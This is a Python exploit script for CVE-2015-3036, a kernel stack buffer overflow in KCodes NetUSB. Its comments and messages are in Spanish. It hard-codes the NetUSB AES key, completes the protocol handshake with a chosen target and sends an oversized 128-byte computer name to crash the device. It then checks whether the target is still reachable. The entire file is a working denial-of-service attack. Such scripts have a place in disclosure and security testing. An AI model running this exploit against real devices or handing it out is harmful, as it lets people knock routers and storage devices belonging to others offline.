#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128  #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
  try:
    target = sys.argv[1]
    try:
      port = int(sys.argv[2])
    except Exception as detail:
      port = PORT_DEFAULT
    
    #Inicialización de la conexión.
    init = "\x56\x05"
    #Datos aleatorios para el handshake
    randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
    #Nombre del equipo con 128 carácteres para provocar DoS.
    computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
    #Longitud del nombre del equipo - "\x80\x00\x00\x00"
    lengthComputerName = struct.pack("i", DOS_BYTES);
    #Sync - "\x07\x00\x00\x00"
    syncOK = struct.pack("i", 7);
    #Finalización de la conexión.
    end = "\x01"

    encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
    randomDataCrypt1 = encryption_suite.encrypt(randomData)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(TIMEOUT)

    print "Conectando:", target,":",port
    sock.connect((target, port))
    print "Conectado"
    print "----------------"

    print "Inicializando:", init.encode("hex")
    sock.send(init)
    print "Random data para cifrar por el servidor:", randomData.encode("hex")
    sock.send(randomData)
    print "----------------"

    result = sock.recv(RECV_SIZE)
    print "Random data cifrados por el servidor:", result.encode("hex")
    print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
    if (randomDataCrypt1 == result):
      print "Handshake OK"
      randomData = sock.recv(RECV_SIZE)
      print "Random data a cifrar por el cliente:", randomData.encode("hex")
      randomDataCrypt2 = encryption_suite.encrypt(randomData)
      print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
      print "----------------"
      sock.send(randomDataCrypt2)
      print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
      sock.send(lengthComputerName)
      print "Nombre del host a parear:", computerName.encode("hex")
      sock.send(computerName)
      print "----------------"

      print "Sync: ", syncOK.encode("hex")
      sock.send(syncOK)
      if (sock.recv(RECV_SIZE) == syncOK):
        print "Sync ok"
        sock.send(end)
        try:
          #Esperamos unos segundos antes de conectar
          time.sleep(TIMEOUT)
          #Comprobamos si el dispositivo sigue vivo...
          sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          sock.settimeout(TIMEOUT)
          sock.connect((target, port))
          print "No vulnerable"
        except Exception as detail:
          print "Vulnerable, exploit OK"
      else:
        print 'Sync error.'
  except Exception as detail:
    print "Error de comunicación:", detail
else:
  print "Usage:", sys.argv[0], "target [port]"